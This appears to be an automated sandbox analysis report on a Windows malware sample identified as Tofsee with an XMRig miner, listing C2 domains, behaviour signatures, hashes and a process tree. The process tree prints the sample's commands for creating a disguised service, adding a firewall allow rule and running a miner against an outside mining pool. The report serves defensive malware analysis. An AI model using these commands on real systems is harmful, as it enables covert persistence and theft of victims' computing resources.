Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    26/12/2022, 19:37

General

  • Target
    file.exe
  • Size 230KB
  • Sample221226-ybvvdagh21
  • SHA256 4cfb19df7d72e6c76385bac2e9aa0bee1490bfa25f5ada420079ebf207824183
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1204
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hxgzxqcy\
      2⤵
        PID:2028
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bvxfbvbu.exe" C:\Windows\SysWOW64\hxgzxqcy\
        2⤵
          PID:468
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hxgzxqcy binPath= "C:\Windows\SysWOW64\hxgzxqcy\bvxfbvbu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:520
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hxgzxqcy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1676
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hxgzxqcy
          2⤵
          • Launches sc.exe
          PID:284
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:992
      • C:\Windows\SysWOW64\hxgzxqcy\bvxfbvbu.exe
        C:\Windows\SysWOW64\hxgzxqcy\bvxfbvbu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1408
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1044
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:600

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            bvxfbvbu.exe

            • Path C:\Users\Admin\AppData\Local\Temp\bvxfbvbu.exe
            • Size 14.0MB
            • SHA256 576b75fdcfb790b4f2b1daeb8810d13353bbb587a9650b533bd99595d7dfeab8
            • MD5 SHA1 SHA512 SSDEEP

            bvxfbvbu.exe

            • Path C:\Windows\SysWOW64\hxgzxqcy\bvxfbvbu.exe
            • Size 14.0MB
            • SHA256 576b75fdcfb790b4f2b1daeb8810d13353bbb587a9650b533bd99595d7dfeab8
            • MD5 SHA1 SHA512 SSDEEP

            memory/600-101-0x0000000000190000-0x0000000000281000-memory.dmp

            memory/600-99-0x0000000000190000-0x0000000000281000-memory.dmp

            memory/1044-70-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1044-80-0x0000000001A50000-0x0000000001C5F000-memory.dmp

            memory/1044-98-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1044-95-0x0000000000220000-0x0000000000227000-memory.dmp

            memory/1044-92-0x00000000059A0000-0x0000000005DAB000-memory.dmp

            memory/1044-89-0x00000000001D0000-0x00000000001D5000-memory.dmp

            memory/1044-72-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1044-86-0x00000000001C0000-0x00000000001D0000-memory.dmp

            memory/1044-83-0x00000000001B0000-0x00000000001B6000-memory.dmp

            memory/1044-79-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1204-54-0x00000000753F1000-0x00000000753F3000-memory.dmp

            memory/1204-56-0x000000000059B000-0x00000000005AC000-memory.dmp

            memory/1204-67-0x0000000000400000-0x000000000045E000-memory.dmp

            memory/1204-66-0x000000000059B000-0x00000000005AC000-memory.dmp

            memory/1204-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1204-58-0x0000000000400000-0x000000000045E000-memory.dmp

            memory/1408-76-0x0000000000400000-0x000000000045E000-memory.dmp

            memory/1408-74-0x00000000005AB000-0x00000000005BC000-memory.dmp